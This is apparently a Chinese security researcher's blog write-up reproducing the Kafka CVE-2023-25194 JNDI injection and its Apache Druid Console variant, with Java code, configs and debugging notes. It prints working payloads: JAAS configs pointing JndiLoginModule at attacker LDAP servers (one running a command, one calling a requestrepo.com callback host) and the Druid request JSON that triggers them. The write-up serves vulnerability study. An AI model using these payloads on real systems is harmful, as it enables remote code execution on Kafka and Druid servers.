kafka漏洞测试学习
2023-07-17 01:31:27

起因是看到 Apache Druid远程代码执行漏洞 这个东西,发现是 Druid 的,寻思复现一下,后来才发现说的原来是 Druid Console,而且这个漏洞好像也很鸡肋,还 Debug 了半天,但是既然已经复现完了,就写一下吧~~~

kafka 漏洞复现

首先是复现 Kafka 这个漏洞 CVE-2023-25194,这个复现起来相当简单

用 idea 创建一个项目,然后 dependencies 如下:

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>org.apache.kafka</groupId>
<artifactId>kafka-clients</artifactId>
<version>3.4.0</version>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>

然后找 GPT 聊一下:

image-20230718113334484

如下示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package org.example;

import org.apache.kafka.clients.consumer.KafkaConsumer;
import org.apache.kafka.clients.producer.*;
import org.apache.kafka.common.config.SaslConfigs;
import org.apache.kafka.common.security.authenticator.AbstractLogin;

import javax.naming.Context;
import javax.naming.directory.SearchControls;
import javax.naming.ldap.InitialLdapContext;
import javax.naming.ldap.LdapContext;
import java.util.Hashtable;
import java.util.Properties;
import java.util.function.Consumer;

public class Main {
public static void main(String[] args) throws Exception {

System.setProperty("org.apache.kafka.disallowed.login.modules","");
Properties props = new Properties();
props.load(Main.class.getClassLoader().getResourceAsStream("kafka.properties"));
// 设置 SASL 配置
// 创建 Kafka 生产者实例
Producer<String, String> producer = new KafkaProducer<>(props);
// 创建消息
String topic = "my-topic";
String key = "my-key";
String value = "Hello, Kafka!";

// 发送消息到 Kafka 集群
ProducerRecord<String, String> record = new ProducerRecord<>(topic, key, value);
producer.send(record, new Callback() {
@Override
public void onCompletion(RecordMetadata metadata, Exception exception) {
if (exception != null) {
exception.printStackTrace();
} else {
System.out.println("Message sent successfully. Offset: " + metadata.offset());
}
}
});
}
}

这里还需要一个 kafka.properties文件,内容如下:

1
2
3
4
5
6
7
bootstrap.servers=127.0.0.1:9092
key.serializer=org.apache.kafka.common.serialization.StringSerializer
value.serializer=org.apache.kafka.common.serialization.StringSerializer
sasl.login.callback.handler.class=org.apache.kafka.common.security.authenticator.SaslClientCallbackHandler
security.protocol=SASL_PLAINTEXT
sasl.mechanism=PLAIN
sasl.jaas.config=com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://127.0.0.1:1389/rome/open -a calculator\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";

3.4.0 是目前的最新版,他已经做了一定修复了,所以在我的 java 代码中第一行是把 disallowed 注释,会走到这里:

1
org.apache.kafka.common.security.JaasContext#throwIfLoginModuleIsNotAllowed

image-20230718114241008

此处已经过滤了~

还有一个点,就是在这个 throwIfLoginModuleIsNotAllowed 函数的上层(就在这个函数上面):

1
org.apache.kafka.common.security.JaasContext#load

image-20230718121304611

下面取值是 contextModules[0] ,以为能绕过,但是后来发现这里 login modules 必须是 1,否则就抛出错误,估计是一开始设计的时候允许传入数组,后面觉得没必要就又加了个判断吧~

然后把上面设置 org.apache.kafka.disallowed.login.modules 的代码重新打开,断点下在:

1
com.sun.security.auth.module.JndiLoginModule#login

image-20230718114419247

从调用栈里往上看几个函数,就会发现应该是调用了 login 函数做登陆:

image-20230718114512635

然后往下走,进入

1
com.sun.security.auth.module.JndiLoginModule#attemptAuthentication

image-20230718114547813

这就可以请求 ldap 了,至于这个 userProvider 则是在初始化的时候赋值的:

image-20230718114647184

这里看了一下,在 properties 中,这个属性也是关键之一:

1
security.protocol=SASL_PLAINTEXT

在函数 org.apache.kafka.common.network.ChannelBuilders#create 中:

image-20230718115228710

必须设置 SASL_SSL 或者 SASL_PLAINTEXT 才会走到加载 Context 这一块。

Druid Console 漏洞复现

Github 地址:

https://github.com/apache/druid

这个搞了好久,前面提到最新版的 kafka(3.4) 已经修复了

这里可以看看 pom 的 history:

https://github.com/apache/druid/commits/master/pom.xml

image-20230718134900621

可以看到反应还是很快的,这个是有 Docker 版本的,可以直接 Docker 启动就好了,Docker 启动需要两个文件,一个是 Docker-Compose :

https://github.com/apache/druid/blob/25.0.0/distribution/docker/docker-compose.yml

这里用的是 25 的版本,因为 26 已经更新了。

还有一个是 environment:

https://raw.githubusercontent.com/apache/druid/26.0.0/distribution/docker/environment

这两个放一起就能启动了,这里还需要在 enviroment 最后加上几行:

1
2
3
KAFKA_JAAS_CONFIG="com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.224.6:1389/URLDNS/yx12i2gd.requestrepo.com\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
MECHANISM=PLAIN
SASL_SSL=SASL_SSL

(记住这里的 192.168.224.6:1389,ldap请求会到这 )

但是默认的 enviroment 好像没有开启 Kafka:

image-20230718135557929

所以需要在 enviroment 文件中改一下这个:

1
druid_extensions_loadList=["druid-histogram", "druid-datasketches", "druid-lookups-cached-global", "postgresql-metadata-storage",

然后加上上面那三个属性。

启动后访问 8888 端口,添加一个 kafka streaming:

image-20230718141008736

这里填上如下:

1
2
3
4
5
6
7
8
9
10
11
{
"bootstrap.servers":"test.com:9999",
"druid.dynamic.config.provider": {
"type": "environment",
"variables": {
"sasl.jaas.config": "KAFKA_JAAS_CONFIG",
"sasl.mechanism": "MECHANISM",
"security.protocol":"SASL_SSL"
}
}
}

topic 随便,点击 apply,就可以看到 192.168.224.6:1389 收到了请求:

image-20230718141248930

到这里漏洞复现就算结束了,但是这个漏洞非常的鸡肋,因为他要我去改 enviroment 文件,或者环境变量。

这是 druid 的官网说的:

https://druid.apache.org/docs/25.0.0/operations/dynamic-config-provider.html

image-20230718141402104

看看代码,函数位置:

1
org.apache.druid.metadata.EnvironmentVariableDynamicConfigProvider#getConfig

image-20230718141655262

image-20230718141700758

不知道是不是还有哪里能设置,如果真的是环境变量里,那真的是纯纯浪费时间的漏洞了~

Debug Druid 过程记录

此处记录一下基础知识不牢固导致的繁琐的 Debug 的过程。

这里稍微提一下两种 Debug 的方法,一种是下载一个 druid 的源码,然后他就有很多依赖很多代码了。

还有一种就是我这样新建一个项目,然后引入一些依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.druid/druid-server -->
<dependency>
<groupId>org.apache.druid</groupId>
<artifactId>druid-server</artifactId>
<version>25.0.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.druid</groupId>
<artifactId>druid-services</artifactId>
<version>0.22.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.druid.extensions/druid-kafka-indexing-service -->
<dependency>
<groupId>org.apache.druid.extensions</groupId>
<artifactId>druid-kafka-indexing-service</artifactId>
<version>25.0.0</version>
</dependency>

<!-- https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-rewrite -->
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-rewrite</artifactId>
<version>9.4.48.v20220622</version>
</dependency>


</dependencies>

优点是代码少,整个项目不卡(电脑太卡了~),缺点是有一些类一开始没有,就要找是哪个依赖里的,然后有时候反编译的 class 文件有问题,也要去选择一下源码里的 source:

image-20230718144454582

然后就可以使用 docker-compose 会启动很多容器:

image-20230718141954282

调试的话,就是覆盖 bin/run-java 这个 sh 文件即可然后重启容器:

image-20230718142710237

8888Web 的访问端口,但是如果 Debug 端口开在这里的话,会发现断点下不来,比如访问:/druid/coordinator/v1/config/compaction ,他应该会在这个类:

1
org.apache.druid.server.http.CoordinatorCompactionConfigsResource

但是会发现断不下来。

于是我来到 Logs 看看是否请求到了:

image-20230718142309039

我注意到这里有个 org.apache.druid.jetty.RequestLog,于是我在这里下了断点,发现能断下来了:

1
org.apache.druid.server.initialization.jetty.JettyRequestLog#log

image-20230718142833111

这个时候其实就可以确定他应该是转发到别的容器,路由的访问也是在别的容器里。

其实一个一个容器试或者看看日志就能知道了:

image-20230718143001580

coordinator 这个容器里能看到来自 192.168.224.8 的请求,一样的 path 路径,这个 224.8 其实就是 routerip 地址:

image-20230718143125639

其实就是个转发,然后改一下 8081(coordinator) 这个容器的 run-java 就好了。

一个麻烦的 Debug 方式

但是我一开始没想到,于是我用了一个很笨的方法,既然 router 能停下来,那么说明这里肯定是入口,于是首先还是在 log 这里下断点:

1
org.apache.druid.server.initialization.jetty.JettyRequestLog#log

往上回溯两个函数:

org.eclipse.jetty.server.HttpChannel#handle

image-20230718144022626

一路向下会进入到:

1
org.eclipse.jetty.server.handler.HandlerList#handle

image-20230718144111270

这里有三个 handlers,但是这里也没有处理的过程, Rewirte 并没有做什么,RequestLog 一看就是日志, Gzip 呢则是压缩的返回的。

这个结束以后就是 WRITE_CALLBACK -> COMPLETE 输出返回了。

image-20230718145357374

这里我注意到了这个 out,这个out 是返回的值,那么只要找到这个值是在哪里写入的,就说明他获取到了返回值,也就找到了请求的地方了。

还是一样,请求这个 :/druid/coordinator/v1/config/compaction

它会返回一个 json:

image-20230718145558720

然后在这里下断点:

1
org.eclipse.jetty.server.HttpOutput#write(byte[], int, int)

第一次断下时长度只有 10,到第二个:

image-20230718145640359

len = 94,这个很像返回了,但是会发现他是加密的,这是因为请求的时候带了 Gzip 头,压缩了。

可以在 BP 里把这个头删掉:

image-20230718145826652

image-20230718145847766

这个时候就看到返回值了,然后往回溯,会发现这里其实还是上面提到的 WRITE_CALLBACK 调用过来的,但是这里可以看到一个新的变量:

image-20230718150100984

然后看看 buffer 怎么赋值的:

image-20230718150131706

设置一个新的断点在这:

1
org.eclipse.jetty.proxy.AsyncProxyServlet.StreamWriter#data

image-20230718150227657

然后从调用栈里往回找,找到

1
org.eclipse.jetty.client.http.HttpReceiverOverHTTP#process

image-20230718150405487

到这就可以看到是访问的 8081 端口了~

再做一点知识小扩展,和 gpt 聊一下:

image-20230718151841316

这里提到了一个类: AsyncProxyServlet。

在 druid 中搜索可以看到:

image-20230718152036456

把断点下载这里:

1
org.apache.druid.server.AsyncManagementForwardingServlet#servic

再次访问:

1
/druid/coordinator/v1/config/compaction

image-20230718152141998

断点果然在这里停下了。

那么 router 是怎么知道 coordinator 开在哪个 ip 呢,可以看到这么多的容器里开了个 zookeeper:

image-20230718205238899

首先会去查:

image-20230718205253983

然后查询到他的一个随机子节点,查询这个值得到 IP 地址。

更新

本来想再调一次的,结果开始就碰到问题了,coordinate 提示 druid database not exists。

可以去 postgres 这台机器创建一个,然后重启 coordinate 即可:

image-20230822185230040

测试2

一开始测试的时候看到官网的例子以为要环境变量。

后来看到其他师傅写的发现根本不需要:

https://mp.weixin.qq.com/s/8xMqs3BW57c78PJzzAYJ7A

简单看了下,直接到这里:

1
org.apache.druid.indexing.kafka.KafkaSamplerSpec#createRecordSupplier

image-20230823102927025

这里直接 configOverride 了,就覆盖配置了,跟我之前看的地方不一样,可能也是因为传参的地方不一样吧,这里是在 ioConfig 传的(其实就是本来写参数的地方):

image-20230823103050922

JAAS 的思考

这两天看了下其他的 driver,也看到了 jaas 配置,但是却失败了,于是就好奇差别在哪里。

这里只是做一个猜测,以后有机会碰到差不多的代码就能验证了。

首先是 kafka 调用的登陆是这个:

1
org.apache.kafka.common.security.kerberos.KerberosLogin

然后他的父类:

1
org.apache.kafka.common.security.authenticator.AbstractLogin

在 login 的时候会 new 一个新的 LoginContext 并且把 configuration 传进去。

image-20230823112913773

这个 LoginContext 就是 javax 里面的类了,里面会做 Class.forname 然后去找到 JndiLoginModule。

1
javax.security.auth.login.LoginContext#invoke

image-20230823113207322

*** 也就是说如果在 new LoginContext 的时候能控制这个 configuration(配置参数) 就有可能可以 RCE。***

image-20230823113440289

来看看 mssql 的 JDBC Driver 是怎么写的:

image-20230823113257237

很可惜, mssql 的不能控制配置,所以也没法到 JndiModule 了~

参考

CVE-2023-25194

Apache Druid远程代码执行漏洞

Prev
2023-07-17 01:31:27
Next